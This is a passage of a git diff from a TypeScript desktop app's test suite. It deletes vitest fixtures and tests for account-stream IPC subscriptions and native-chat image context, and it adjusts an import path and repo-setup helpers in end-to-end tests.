-    on: (channel: string, handler: (event: DesktopIpcEvent, args: unknown) => void) =>
-      desktopIpc.events.set(channel, handler),
-    removeHandler: (channel: string) => desktopIpc.handlers.delete(channel),
-    removeAllListeners: (channel: string) => desktopIpc.events.delete(channel)
-  },
-  ipcRenderer: {
-    invoke: desktopIpc.invoke,
-    send: desktopIpc.send,
-    on: (channel: string, listener: DesktopListener) => {
-      let listeners = desktopIpc.listeners.get(channel)
-      if (!listeners) {
-        listeners = new Set()
-        desktopIpc.listeners.set(channel, listeners)
-      }
-      listeners.add(listener)
-    },
-    removeListener: (channel: string, listener: DesktopListener) => {
-      const listeners = desktopIpc.listeners.get(channel)
-      listeners?.delete(listener)
-      if (listeners?.size === 0) {
-        desktopIpc.listeners.delete(channel)
-      }
-    }
-  }
-}))
-vi.mock('../../src/main/runtime/rpc/methods/rpc-method-registry', async () => ({
-  ALL_RPC_METHODS: (await import('../../src/main/runtime/rpc/methods/accounts/accounts'))
-    .ACCOUNT_METHODS
-}))
-
-type AccountStreamDesktopRuntime = Pick<
-  RpcContext['runtime'],
-  | 'getAccountsStreamSnapshot'
-  | 'onAccountsChanged'
-  | 'registerSubscriptionCleanup'
-  | 'cleanupSubscription'
-  | 'cleanupSubscriptionsForConnection'
-  | 'getRuntimeId'
-  | 'refreshAccountsForMobileSubscriber'
->
-type DesktopHandlerPort = { register(runtime: AccountStreamDesktopRuntime): void }
-
-export function accountStreamDesktopFixture(
-  runtime: AccountStreamDesktopRuntime,
-  frames: unknown[]
-) {
-  const slots: {
-    emit: (frame: unknown) => void
-    fail: () => void
-    end: () => void
-    unsubscribe: Mock<RuntimeEnvironmentSubscriptionHandle['unsubscribe']>
-    releaseHandle: () => void
-    releaseDispatch: () => void
-    serverId?: string
-  }[] = []
-  const running: Promise<void>[] = []
-  let holdHandles = false
-  let holdDispatch = false
-  const pending = new Set<Promise<void>>()
-  const slotsById = new Map<string, (typeof slots)[number]>()
-  const dispatch = RpcDispatcher.prototype.dispatchStreamingObjects
-  vi.spyOn(RpcDispatcher.prototype, 'dispatchStreamingObjects').mockImplementation(function (
-    this: RpcDispatcher,
-    request,
-    reply,
-    options
-  ) {
-    const slot = slotsById.get(request.id)
-    if (!slot) {
-      throw new Error('Missing desktop subscription')
-    }
-    const admitted = Promise.withResolvers<void>()
-    slot.releaseDispatch = () => admitted.resolve()
-    if (!holdDispatch) {
-      admitted.resolve()
-    }
-    const work = admitted.promise.then(() =>
-      dispatch.call(
-        this,
-        request,
-        (frame) => {
-          const response = RuntimeRpcEnvelopeSchema.parse(frame)
-          if ('ok' in response && response.ok) {
-            frames.push(response.result)
-            const frame = response.result
-            if (
-              frame &&
-              typeof frame === 'object' &&
-              'subscriptionId' in frame &&
-              typeof frame.subscriptionId === 'string'
-            ) {
-              slot.serverId = frame.subscriptionId
-            }
-          }
-          reply(frame)
-        },
-        options
-      )
-    )
-    pending.add(work)
-    void work.finally(() => pending.delete(work))
-    running.push(work)
-    return work
-  })
-  const sender = {
-    id: 35392,
-    mainFrame: {},
-    on: vi.fn(),
-    once: vi.fn(),
-    isDestroyed: () => false,
-    send: (channel: string, response: RuntimeRpcResponse<unknown>) => {
-      const cloned = structuredClone(response)
-      for (const listener of desktopIpc.listeners.get(channel) ?? []) {
-        listener({}, cloned)
-      }
-    }
-  }
-  const event = { sender, senderFrame: sender.mainFrame }
-  const desktopHandlers: DesktopHandlerPort = { register: registerRuntimeHandlers }
-  desktopHandlers.register(runtime)
-  let opening: (typeof slots)[number] | undefined
-  desktopIpc.invoke.mockImplementation((channel: string, args: unknown) => {
-    if (
-      channel !== 'runtime:subscribe' ||
-      !opening ||
-      !args ||
-      typeof args !== 'object' ||
-      !('subscriptionId' in args) ||
-      typeof args.subscriptionId !== 'string'
-    ) {
-      throw new Error('Unexpected desktop invocation')
-    }
-    slotsById.set(args.subscriptionId, opening)
-    return desktopIpc.handlers.get(channel)?.(event, args)
-  })
-  desktopIpc.send.mockImplementation((channel: string, args: unknown) => {
-    desktopIpc.events.get(channel)?.(event, args)
-  })
-  const subscribe = vi.fn(
-    async (
-      request: { method: string; params?: unknown },
-      onResponse: (response: RuntimeRpcResponse<unknown>) => void
-    ) => {
-      if (request.method !== 'accounts.subscribe') {
-        throw new Error('Unexpected stream')
-      }
-      const handle = Promise.withResolvers<void>()
-      const slot: (typeof slots)[number] = {
-        emit: (frame) => {
-          frames.push(frame)
-          onResponse({ id: 'injected', ok: true, result: frame, _meta: { runtimeId: 'fixture' } })
-        },
-        fail: () =>
-          onResponse({
-            id: 'injected',
-            ok: false,
-            error: { code: 'fixture_error', message: 'Disconnected' }
-          }),
-        end: () => {
-          if (slot.serverId) {
-            runtime.cleanupSubscription(slot.serverId)
-          }
-        },
-        unsubscribe: vi.fn(),
-        releaseHandle: () => handle.resolve(),
-        releaseDispatch: () => {}
-      }
-      slots.push(slot)
-      opening = slot
-      const acquiring = runtimeApi.subscribe(request, onResponse)
-      slot.unsubscribe.mockImplementation(() => {
-        void acquiring.then((transport) => transport.unsubscribe())
-      })
-      opening = undefined
-      const transport = await acquiring
-      slot.unsubscribe.mockImplementation(() => transport.unsubscribe())
-      if (holdHandles) {
-        await handle.promise
-      }
-      return { ...transport, unsubscribe: slot.unsubscribe }
-    }
-  )
-  return {
-    subscribe,
-    slots,
-    pendingStreams: () => pending.size,
-    transportListeners: () => desktopIpc.listeners.size,
-    holdHandles: (hold: boolean) => {
-      holdHandles = hold
-    },
-    holdDispatch: (hold: boolean) => {
-      holdDispatch = hold
-    },
-    dispose: async () => {
-      for (const slot of slots) {
-        slot.releaseHandle()
-        slot.unsubscribe()
-        slot.releaseDispatch()
-      }
-      await Promise.all(running)
-    }
-  }
-}
diff --git a/tests/e2e/ai-vault-account-stream-test-fixture.ts b/tests/e2e/ai-vault-account-stream-test-fixture.ts
deleted file mode 100644
index 12a69020390..00000000000
--- a/tests/e2e/ai-vault-account-stream-test-fixture.ts
+++ /dev/null
@@ -1,236 +0,0 @@
-import { vi } from 'vitest'
-import * as fs from 'node:fs'
-import { tmpdir } from 'node:os'
-import { join } from 'node:path'
-import { installFakeAppEnvironment } from '../../config/scripts/test-runtime/environment/vitest-host-ports-setup'
-import {
-  RuntimeAccountController,
-  type RuntimeAccountServices
-} from '../../src/main/runtime/agent-session/environment/runtime-account-controller'
-import { RuntimeSubscriptionRegistry } from '../../src/main/runtime/client/runtime-subscription-registry'
-import { RateLimitService } from '../../src/main/rate-limits/service/rate-limit-service'
-import { getManagedDataAccountService } from '../../src/main/managed-data-accounts/service'
-import { ACCOUNT_METHODS } from '../../src/main/runtime/rpc/methods/accounts/accounts'
-import {
-  eraseRpcMethods,
-  isStreamingMethod,
-  type RpcContext
-} from '../../src/main/runtime/rpc/core'
-import { accountStreamDesktopFixture } from './ai-vault-account-stream-desktop-test-fixture'
-import type {
-  ManagedDataAccountProvider,
-  ManagedDataAccountsState
-} from '../../src/shared/managed-account-types'
-import {
-  emptyClaudeAccountsState,
-  emptyCodexAccountsState
-} from '@/runtime/provider-accounts/observations/runtime-provider-accounts-client'
-
-type StreamServicePorts = {
-  claudeAccounts: Pick<RuntimeAccountServices['claudeAccounts'], 'listAccounts'>
-  codexAccounts: Pick<RuntimeAccountServices['codexAccounts'], 'listAccounts'>
-  rateLimits: RateLimitService
-}
-type StreamRuntime = Pick<
-  RpcContext['runtime'],
-  | 'getAccountsSnapshot'
-  | 'getAccountsStreamSnapshot'
-  | 'getDataAccountsSnapshot'
-  | 'onAccountsChanged'
-  | 'registerSubscriptionCleanup'
-  | 'cleanupSubscription'
-  | 'cleanupSubscriptionsForConnection'
-  | 'getRuntimeId'
-  | 'refreshAccountsForMobileSubscriber'
->
-
-type StreamContext = { runtime: StreamRuntime; connectionId?: string }
-type StreamControllerPort = { setServices(services: StreamServicePorts): void }
-type RequestHandlerPort = { handler(params: unknown, context: StreamContext): unknown }
-
-export const P = '11111111-1111-4111-8111-111111111111'
-export const Q = '22222222-2222-4222-8222-222222222222'
-export const D = '33333333-3333-4333-8333-333333333333'
-export const profile = (id: string, label: string) => ({
-  id,
-  label,
-  integrations: [],
-  createdAt: 1
-})
-class PublishedRateLimits extends RateLimitService {
-  publish(): void {
-    this.updateState({
-      ...this.state,
-      codex: {
-        provider: 'codex',
-        session: null,
-        weekly: null,
-        updatedAt: (this.state.codex?.updatedAt ?? 0) + 1,
-        status: 'ok',
-        error: null
-      }
-    })
-  }
-}
-
-export function accountStreamFixture() {
-  const root = fs.mkdtempSync(join(tmpdir(), 'orca-pr35392-stream-'))
-  installFakeAppEnvironment({ getPath: () => root })
-  const service = getManagedDataAccountService()
-  const directory = join(root, 'managed-data-accounts')
-  const registry = (provider: ManagedDataAccountProvider) =>
-    join(directory, provider, 'accounts.json')
-  const seed = (
-    provider: ManagedDataAccountProvider,
-    accounts: ManagedDataAccountsState['accounts']
-  ) => {
-    fs.mkdirSync(join(directory, provider), { recursive: true })
-    for (const account of accounts) {
-      fs.mkdirSync(join(directory, provider, account.id), { recursive: true })
-    }
-    fs.writeFileSync(registry(provider), JSON.stringify({ accounts, activeAccountId: null }))
-  }
-  seed('opencode', [profile(P, 'Work'), profile(Q, 'Other')])
-  seed('devin', [profile(D, 'Devin')])
-  const usage = new PublishedRateLimits()
-  const refresh = vi.spyOn(usage, 'refreshIfStale').mockResolvedValue(usage.getState())
-  vi.spyOn(usage, 'fetchInactiveClaudeAccountsOnOpen').mockResolvedValue(undefined)
-  vi.spyOn(usage, 'fetchInactiveCodexAccountsOnOpen').mockResolvedValue(undefined)
-  const nativeClaude = vi.fn(() => ({
-    ...emptyClaudeAccountsState(),
-    accounts: [
-      {
-        id: 'healthy-claude',
-        email: 'claude@example.com',
-        authMethod: 'unknown' as const,
-        createdAt: 1,
-        updatedAt: 1,
-        lastAuthenticatedAt: 1
-      }
-    ]
-  }))
-  const nativeCodex = vi.fn(() => ({
-    ...emptyCodexAccountsState(),
-    accounts: [
-      {
-        id: 'healthy-codex',
-        email: 'codex@example.com',
-        createdAt: 1,
-        updatedAt: 1,
-        lastAuthenticatedAt: 1
-      }
-    ]
-  }))
-  const controller = new RuntimeAccountController()
-  // The stream producer calls only these native list ports; no native disk IO is part of this contract.
-  const services: StreamServicePorts = {
-    claudeAccounts: { listAccounts: nativeClaude },
-    codexAccounts: { listAccounts: nativeCodex },
-    rateLimits: usage
-  }
-  const controllerPort: StreamControllerPort = controller
-  controllerPort.setServices(services)
-  const subscriptions = new RuntimeSubscriptionRegistry()
-  const runtime: StreamRuntime = {
-    getAccountsSnapshot: controller.getSnapshot.bind(controller),
-    getAccountsStreamSnapshot: controller.getStreamSnapshot.bind(controller),
-    getDataAccountsSnapshot: controller.dataAccountsSnapshot.bind(controller),
-    onAccountsChanged: controller.onChanged.bind(controller),
-    registerSubscriptionCleanup: subscriptions.register.bind(subscriptions),
-    cleanupSubscription: subscriptions.cleanup.bind(subscriptions),
-    cleanupSubscriptionsForConnection: subscriptions.cleanupForConnection.bind(subscriptions),
-    getRuntimeId: () => 'fixture',
-    refreshAccountsForMobileSubscriber: controller.refreshForMobileSubscriber.bind(controller)
-  }
-  const methods = eraseRpcMethods(ACCOUNT_METHODS)
-  const frames: unknown[] = []
-  const observations: ReturnType<typeof counters>[] = []
-  const observe = (run: () => void) => {
-    const before = counters()
-    run()
-    const after = counters()
-    observations.push({
-      lists: after.lists - before.lists,
-      reads: after.reads - before.reads,
-      parses: after.parses - before.parses,
-      claude: after.claude - before.claude,
-      codex: after.codex - before.codex,
-      frames: after.frames - before.frames,
-      listData: after.listData - before.listData
-    })
-  }
-  let dataListeners = 0
-  let usageListeners = 0
-  const originalDataOnChanged = service.onChanged.bind(service)
-  vi.spyOn(service, 'onChanged').mockImplementation((listener) => {
-    dataListeners++
-    const close = originalDataOnChanged(() => observe(listener))
-    return () => {
-      dataListeners--
-      close()
-    }
-  })
-  const originalUsageOnChanged = usage.onStateChange.bind(usage)
-  vi.spyOn(usage, 'onStateChange').mockImplementation((listener) => {
-    usageListeners++
-    const close = originalUsageOnChanged((state) => observe(() => listener(state)))
-    return () => {
-      usageListeners--
-      close()
-    }
-  })
-  const desktop = accountStreamDesktopFixture(runtime, frames)
-  const { subscribe } = desktop
-  window.api.runtime = { ...window.api.runtime, subscribe }
-  const listData = vi.fn()
-  window.api.runtime.call = listData
-  const lists = vi.spyOn(service, 'list')
-  const reads = vi.spyOn(fs, 'readFileSync')
-  const parses = vi.spyOn(JSON, 'parse')
-  const counters = () => {
-    const registryReads = reads.mock.calls.flatMap(([path], index) =>
-      String(path) === registry('opencode') || String(path) === registry('devin')
-        ? [reads.mock.results[index]?.value]
-        : []
-    )
-    const registryText = new Set<unknown>(registryReads)
-    return {
-      lists: lists.mock.calls.length,
-      reads: registryReads.length,
-      parses: parses.mock.calls.filter(([text]) => registryText.has(text)).length,
-      claude: nativeClaude.mock.calls.length,
-      codex: nativeCodex.mock.calls.length,
-      frames: frames.length,
-      listData: listData.mock.calls.length
-    }
-  }
-
-  return {
-    controller,
-    runtime,
-    subscriptions,
-    ...desktop,
-    service,
-    usage,
-    subscribe,
-    frames,
-    refresh,
-    registry,
-    seed,
-    counters,
-    observations,
-    listenerCounts: () => [dataListeners, usageListeners],
-    callStrict: (name: string) => {
-      const strict = methods.find((candidate) => candidate.name === name)
-      if (!strict || isStreamingMethod(strict)) {
-        throw new Error('Missing one-shot')
-      }
-      const request: RequestHandlerPort = strict
-      return request.handler(name === 'accounts.list' ? { refreshUsage: false } : null, { runtime })
-    },
-    dispose: async () => {
-      await desktop.dispose()
-      fs.rmSync(root, { recursive: true, force: true })
-    }
-  }
-}
diff --git a/tests/e2e/ai-vault-account-stream.unit.test.ts b/tests/e2e/ai-vault-account-stream.unit.test.ts
deleted file mode 100644
index 42f57242d4f..00000000000
--- a/tests/e2e/ai-vault-account-stream.unit.test.ts
+++ /dev/null
@@ -1,248 +0,0 @@
-// @vitest-environment happy-dom
-import { act, render } from '@testing-library/react'
-import { afterEach, expect, it, vi } from 'vitest'
-import * as fs from 'node:fs'
-import type { RuntimeRpcResponse } from '../../src/shared/runtime-rpc-envelope'
-import { useAppStore } from '@/store'
-import { nativeClient } from '@/components/right-sidebar/ai-vault/accounts/ai-vault-account-native-test-fixture'
-import type { AiVaultSession } from '../../src/shared/ai-vault/contracts/ai-vault-types'
-import { decodeAccountsSnapshot } from '../../mobile/src/components/accounts-snapshot'
-import { createRateLimitsApi } from '@/web/preload-api/web-rate-limits-api'
-import { accountStreamFixture, P, profile } from './ai-vault-account-stream-test-fixture'
-import {
-  accountSettings,
-  accountCards,
-  details,
-  recordedSession,
-  flushAccountWork,
-  installAccountFixture
-} from '@/components/right-sidebar/ai-vault/accounts/ai-vault-account-test-fixture'
-
-vi.mock('node:fs', async (original) => ({ ...(await original<typeof fs>()) }))
-vi.mock('@/i18n/i18n', () => ({ translate: (_key: string, fallback: string) => fallback }))
-const bridge = vi.hoisted(() => ({ subscribe: vi.fn() }))
-vi.mock('@/web/preload-api/web-runtime-session', () => ({
-  requireActiveEnvironmentOrNull: () => ({ id: 'fixture' }),
-  getClientForEnvironment: () => ({ subscribe: bridge.subscribe })
-}))
-vi.mock('@/web/preload-api/web-runtime-calls', () => ({ callRuntimeResult: vi.fn() }))
-installAccountFixture()
-let fixture: ReturnType<typeof accountStreamFixture> | undefined
-let closeWeb: (() => void) | undefined
-afterEach(async () => {
-  closeWeb?.()
-  closeWeb = undefined
-  await fixture?.dispose()
-  fixture = undefined
-})
-function dataSession(id = 'p', profileId = P): AiVaultSession {
-  return {
-    ...recordedSession('claude'),
-    id,
-    agent: 'opencode',
-    accountHome: { kind: 'opencode', locator: { kind: 'managed', managedProfileId: profileId } }
-  }
-}
-
-it('isolates real optional-registry failures in ready/data/usage while keeping strict and mobile/web consumers', async () => {
-  const source = (fixture = accountStreamFixture())
-  fs.writeFileSync(source.registry('devin'), 'corrupt registry')
-  const panel = details([dataSession()])
-  await flushAccountWork()
-  expect(panel.account('p').getByText('Work')).toBeTruthy()
-  bridge.subscribe.mockImplementation(
-    (
-      method: string,
-      params: unknown,
-      handlers: { onResponse: (response: RuntimeRpcResponse<unknown>) => void }
-    ) => source.subscribe({ method, params }, handlers.onResponse)
-  )
-  const webUsage = vi.fn()
-  closeWeb = createRateLimitsApi().onUpdate(webUsage)
-  await flushAccountWork()
-  const validFrames = () => {
-    for (const frame of source.frames) {
-      if (typeof frame === 'object' && frame !== null && 'snapshot' in frame) {
-        const snapshot = decodeAccountsSnapshot(frame.snapshot)
-        expect(snapshot.claude.accounts.map((account) => account.id)).toEqual(['healthy-claude'])
-        expect(snapshot.codex.accounts.map((account) => account.id)).toEqual(['healthy-codex'])
-        expect(snapshot.devin).toBeUndefined()
-      }
-    }
-  }
-  validFrames()
-  expect(webUsage).toHaveBeenCalled()
-  const beforeUsage = webUsage.mock.calls.length
-  await act(async () => source.usage.publish())
-  expect(webUsage.mock.calls.length).toBe(beforeUsage + 1)
-  expect(webUsage.mock.calls.at(-1)?.[0]).toMatchObject({ codex: { status: 'ok', updatedAt: 1 } })
-  await expect(source.callStrict('accounts.list')).rejects.toThrow()
-  await expect(source.callStrict('accounts.listData')).rejects.toThrow()
-  expect(() => source.controller.getSnapshot()).toThrow()
-  await act(async () => {
-    await source.controller.removeData('opencode', P)
-  })
-  panel.unknown('p')
-  validFrames()
-  // An unavailable used registry is omitted, clears proof and restores on a legitimate event.
-  source.seed('opencode', [profile(P, 'Restored')])
-  await act(async () => source.usage.publish())
-  expect(panel.account('p').getByText('Restored')).toBeTruthy()
-  fs.writeFileSync(source.registry('opencode'), 'corrupt registry')
-  await act(async () => source.usage.publish())
-  panel.unknown('p')
-  const last = source.frames.at(-1)
-  if (typeof last !== 'object' || last === null || !('snapshot' in last)) {
-    throw new Error('Missing actual frame')
-  }
-  expect(decodeAccountsSnapshot(last.snapshot).opencode).toBeUndefined()
-  source.seed('opencode', [profile(P, 'Restored again')])
-  await act(async () => source.usage.publish())
-  expect(panel.account('p').getByText('Restored again')).toBeTruthy()
-  expect(source.counters().listData).toBe(0)
-})
-
-it('fences lost streams and late handles, recovers old readers on new acquire, and retains same-commit leases', async () => {
-  const source = (fixture = accountStreamFixture())
-  source.holdHandles(true)
-  const p = dataSession()
-  const panel = render(accountCards([p]))
-  await flushAccountWork()
-  expect(panel.getByTestId('p').textContent).toContain('Work')
-  await act(async () => source.slots[0]!.end())
-  expect(panel.getByTestId('p').textContent).toContain('Unknown')
-  panel.rerender(accountCards([p, dataSession('new')]))
-  await flushAccountWork()
-  expect(source.subscribe).toHaveBeenCalledTimes(2)
-  expect(source.listenerCounts()).toEqual([1, 1])
-  expect(panel.getByTestId('p').textContent).toContain('Work')
-  await act(async () => {
-    source.slots[0]!.releaseHandle()
-    source.slots[0]!.emit({
-      type: 'snapshot',
-      snapshot: { opencode: { accounts: [profile(P, 'Stale')] } }
-    })
-    source.slots[0]!.emit({ type: 'end' })
-  })
-  expect(source.slots[0]!.unsubscribe).toHaveBeenCalledTimes(1)
-  expect(panel.getByTestId('p').textContent).toContain('Work')
-  for (const snapshot of [{}, { opencode: { accounts: [{ id: P, label: 1 }] } }]) {
-    await act(async () => source.slots[1]!.emit({ type: 'snapshot', snapshot }))
-    expect(panel.getByTestId('p').textContent).toContain('Unknown')
-    await act(async () => source.usage.publish())
-    expect(panel.getByTestId('p').textContent).toContain('Work')
-  }
-  // The same-commit new key has the same binding; the pending handle and producer survive.
-  panel.rerender(accountCards([dataSession('replacement')]))
-  await flushAccountWork()
-  expect(source.subscribe).toHaveBeenCalledTimes(2)
-  await act(async () => source.slots[1]!.releaseHandle())
-  panel.unmount()
-  await flushAccountWork()
-  expect(source.listenerCounts()).toEqual([0, 0])
-  expect(source.slots[1]!.unsubscribe).toHaveBeenCalledTimes(1)
-  const reacquired = render(accountCards([p]))
-  await flushAccountWork()
-  expect(source.subscribe).toHaveBeenCalledTimes(3)
-  expect(reacquired.getByTestId('p').textContent).toContain('Work')
-  // A rejected source is lost evidence, with no autonomous retry.
-  await act(async () => {
-    source.slots[2]!.fail()
-    source.slots[2]!.releaseHandle()
-  })
-  source.subscribe.mockRejectedValueOnce(new Error('transport rejected'))
-  reacquired.rerender(accountCards([p, dataSession('retry-failed')]))
-  await flushAccountWork()
-  expect(reacquired.getByTestId('p').textContent).toContain('Unknown')
-  expect(source.subscribe).toHaveBeenCalledTimes(4)
-  await flushAccountWork()
-  expect(source.subscribe).toHaveBeenCalledTimes(4)
-  reacquired.rerender(accountCards([p, dataSession('retry-failed'), dataSession('recovered')]))
-  await flushAccountWork()
-  expect(source.subscribe).toHaveBeenCalledTimes(5)
-  expect(reacquired.getByTestId('p').textContent).toContain('Work')
-  await act(async () => source.slots[3]!.releaseHandle())
-  const settings = accountSettings()
-  useAppStore.setState({ settings })
-  const native = nativeClient(settings)
-  let nativeListeners = 0
-  const subscribe = useAppStore.subscribe
-  vi.spyOn(useAppStore, 'subscribe').mockImplementation((listener) => {
-    nativeListeners++
-    const close = subscribe(listener)
-    return () => {
-      nativeListeners--
-      close()
-    }
-  })
-  const c = recordedSession('claude')
-  reacquired.rerender(accountCards([p, c]))
-  await flushAccountWork()
-  expect(native.claudeList).toHaveBeenCalledTimes(1)
-  expect(source.listenerCounts()).toEqual([1, 1])
-  expect(nativeListeners).toBe(1)
-  // Releasing either domain drops its roots/source independently while the other remains live.
-  reacquired.rerender(accountCards([p]))
-  await flushAccountWork()
-  expect(nativeListeners).toBe(0)
-  expect(source.listenerCounts()).toEqual([1, 1])
-  reacquired.rerender(accountCards([p, c]))
-  await flushAccountWork()
-  expect(native.claudeList).toHaveBeenCalledTimes(2)
-  reacquired.rerender(accountCards([c]))
-  await flushAccountWork()
-  expect(source.listenerCounts()).toEqual([0, 0])
-  expect(nativeListeners).toBe(1)
-  expect(source.slots[3]!.unsubscribe).toHaveBeenCalledTimes(1)
-  reacquired.unmount()
-  await flushAccountWork()
-  expect(nativeListeners).toBe(0)
-
-  // Close before dispatch/ready: the real IPC abort reaches the later admitted handler.
-  source.holdHandles(false)
-  source.holdDispatch(true)
-  const beforeSetup = source.counters()
-  const early = render(accountCards([p]))
-  await flushAccountWork()
-  expect(early.getByTestId('p').textContent).toContain('Unknown')
-  early.unmount()
-  await flushAccountWork()
-  const earlySlot = source.slots.at(-1)!
-  expect(earlySlot.unsubscribe).toHaveBeenCalledTimes(1)
-  expect(source.transportListeners()).toBe(0)
-  await act(async () => earlySlot.releaseDispatch())
-  expect(source.counters()).toEqual(beforeSetup)
-  expect(source.pendingStreams()).toBe(0)
-  expect(source.listenerCounts()).toEqual([0, 0])
-  expect(source.subscriptions).toHaveProperty('cleanups.size', 0)
-
-  // Ready can precede a delayed preload handle; retirement closes that exact late handle.
-  source.holdDispatch(false)
-  source.holdHandles(true)
-  const late = render(accountCards([p]))
-  await flushAccountWork()
-  expect(late.getByTestId('p').textContent).toContain('Work')
-  late.unmount()
-  await flushAccountWork()
-  expect(source.listenerCounts()).toEqual([1, 1])
-  await act(async () => source.slots.at(-1)!.releaseHandle())
-  expect(source.listenerCounts()).toEqual([0, 0])
-  expect(source.pendingStreams()).toBe(0)
-  expect(source.transportListeners()).toBe(0)
-
-  // A real ready-construction failure settles dispatch and releases its server registration.
-  source.holdHandles(false)
-  vi.spyOn(source.runtime, 'getAccountsStreamSnapshot').mockImplementationOnce(() => {
-    throw new Error('ready construction failed')
-  })
-  const failed = render(accountCards([p]))
-  await flushAccountWork()
-  expect(failed.getByTestId('p').textContent).toContain('Unknown')
-  expect(source.listenerCounts()).toEqual([0, 0])
-  expect(source.pendingStreams()).toBe(0)
-  expect(source.transportListeners()).toBe(0)
-  expect(source.subscriptions).toHaveProperty('cleanups.size', 0)
-  expect(source.subscriptions).toHaveProperty('cleanupPromises.size', 0)
-  failed.unmount()
-  await flushAccountWork()
-})
diff --git a/tests/e2e/fixtures/terminal-replay-presentation-probe.ts b/tests/e2e/fixtures/terminal-replay-presentation-probe.ts
index 88713e79f22..537ef3d77e7 100644
--- a/tests/e2e/fixtures/terminal-replay-presentation-probe.ts
+++ b/tests/e2e/fixtures/terminal-replay-presentation-probe.ts
@@ -1,4 +1,4 @@
-import { createTerminalStructuralReplayCoordinator } from '../../../src/renderer/src/lib/pane-manager/terminal-structural-replay-coordinator'
+import { createTerminalStructuralReplayCoordinator } from '../../../src/renderer/src/lib/pane-manager/terminal-replay/terminal-structural-replay-coordinator'
 
 export type TerminalReplayPresentationProbe = {
   waiting: boolean
diff --git a/tests/e2e/helpers/orca-app.ts b/tests/e2e/helpers/orca-app.ts
index 32b8e2b8ab5..81d31f1959d 100644
--- a/tests/e2e/helpers/orca-app.ts
+++ b/tests/e2e/helpers/orca-app.ts
@@ -259,12 +259,8 @@ export const test = base.extend<OrcaTestFixtures, OrcaWorkerFixtures>({
             if (!repo) {
               return false
             }
-            // Show external worktrees (hidden by default); pre-answer the first-launch trust prompt.
-            const show = {
-              externalWorktreeVisibility: 'show',
-              agentWorkspaceTrust: 'pre-trust'
-            } as const
-            await store.getState().updateRepo(repo.id, show)
+            // Show the fixture’s external Git worktrees, which newly added repos hide by default.
+            await store.getState().updateRepo(repo.id, { externalWorktreeVisibility: 'show' })
             return true
           }, seededRepoId),
         {
diff --git a/tests/e2e/helpers/orca-restart.ts b/tests/e2e/helpers/orca-restart.ts
index 6f1a85dd17f..f777906d54e 100644
--- a/tests/e2e/helpers/orca-restart.ts
+++ b/tests/e2e/helpers/orca-restart.ts
@@ -245,11 +245,7 @@ export async function attachRepoAndOpenTerminal(page: Page, repoPath: string): P
               return false
             }
             // Show the seeded Git worktree external to Orca’s managed workspace root.
-            await store.getState().updateRepo(repo.id, {
-              externalWorktreeVisibility: 'show',
-              // Restart specs model an existing repo, which keeps pre-trust.
-              agentWorkspaceTrust: 'pre-trust'
-            })
+            await store.getState().updateRepo(repo.id, { externalWorktreeVisibility: 'show' })
             return true
           }, repoId)
         ),
diff --git a/tests/e2e/native-chat-image-runtime-context.unit.test.ts b/tests/e2e/native-chat-image-runtime-context.unit.test.ts
deleted file mode 100644
index 42f260eeee8..00000000000
--- a/tests/e2e/native-chat-image-runtime-context.unit.test.ts
+++ /dev/null
@@ -1,474 +0,0 @@
-// @vitest-environment happy-dom
-
-import { createElement } from 'react'
-import { act, cleanup, render } from '@testing-library/react'
-import { afterEach, describe, expect, it } from 'vitest'
-import type { AppState } from '@/store/types'
-import type { RuntimeFileOperationArgs } from '../../src/renderer/src/runtime/files/runtime-file-client-types'
-import { useAppStore } from '@/store'
-import type { TerminalTab } from '../../src/shared/workspace-layout/terminal-tab-types'
-
-import { FLOATING_TERMINAL_WORKTREE_ID, getDefaultSettings } from '../../src/shared/constants'
-import {
-  resolveNativeChatImageRuntimeContext,
-  resolveNativeChatImageRuntimeContextForOwner,
-  selectNativeChatImageOwnerState,
-  useNativeChatImageRuntimeContext
-} from '../../src/renderer/src/components/native-chat/media/images/native-chat-image-runtime-context'
-import {
-  makeFolderWorkspace,
-  makeProjectGroup
-} from '../../src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit-fixtures'
-import { resolveNativeChatFileLinkContext } from '../../src/renderer/src/components/native-chat/links/actions/native-chat-file-link-context'
-import {
-  resolveNativeChatSkillDiscoveryContext,
-  selectNativeChatSkillStateInputs
-} from '../../src/renderer/src/components/native-chat/composer/pickers/native-chat-skill-discovery-context'
-import { getEditorFileOperationContext } from '@/lib/editor/file-operations/editor-file-operation-owner'
-import { captureWorktreeSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
-import { adoptFromEndpoint } from '@/store/host-catalog/endpoint-catalog-adoption'
-import { assertRuntimeFileMutationExpectation } from '../../src/main/runtime/files/file-mutation-expectation'
-import {
-  resetSshConnectionGenerations,
-  setSshConnectionGeneration
-} from '../../src/main/ssh/connection/authority/ssh-connection-generation'
-import {
-  agentSessionTabFixture,
-  nativeChatFanoutFixture,
-  nativeChatFanoutWorkspace,
-  repoFixture,
-  terminalTabFixture,
-  worktreeFixture
-} from '../../src/renderer/src/components/native-chat/surfaces/integration/native-chat-workspace-test-fixtures'
-
-const originalState = useAppStore.getState()
-afterEach(() => {
-  cleanup()
-  useAppStore.setState(originalState, true)
-})
-
-function state(overrides: Partial<AppState> = {}): AppState {
-  const tab: TerminalTab = {
-    id: 'tab-1',
-    ptyId: null,
-    worktreeId: 'wt-1',
-    title: 'Terminal 1',
-    customTitle: null,
-    color: null,
-    sortOrder: 0,
-    createdAt: 0
-  }
-  const worktree = worktreeFixture('wt-1', '/repo/worktree', { hostId: 'local' })
-  return {
-    ...useAppStore.getInitialState(),
-    activeWorkspaceExecutionHostId: 'local',
-    activeWorktreeId: 'wt-1',
-    detectedWorktreesByRepo: {},
-    folderWorkspaces: [],
-    getKnownWorktreeById: () => worktree,
-    projectGroups: [],
-    removedRuntimeEnvironmentIds: new Set(),
-    repos: [repoFixture()],
-    restoredRuntimeHostIdByWorkspaceSessionKey: {},
-    runtimeEnvironmentCatalogHydrated: true,
-    runtimeEnvironments: [],
-    settings: { ...getDefaultSettings('/home/me'), activeRuntimeEnvironmentId: null },
-    sshConnectionStates: new Map(),
-    sshStateByEnvironment: new Map(),
-    tabsByWorktree: { 'wt-1': [tab] },
-    unifiedTabsByWorktree: {},
-    worktreesByRepo: { repo: [worktree] },
-    ...overrides
-  }
-}
-
-describe('resolveNativeChatImageRuntimeContext', () => {
-  it.each(['inherited', 'adopted'] as const)(
-    'retains a paired folder target through real file, image, skill and write contexts: %s',
-    (shape) => {
-      const target = { kind: 'environment', environmentId: 'owner-a' } as const
-      const original = makeFolderWorkspace({
-        id: 'paired-folder',
-        projectGroupId: 'paired-project',
-        folderPath: '/remote/folder',
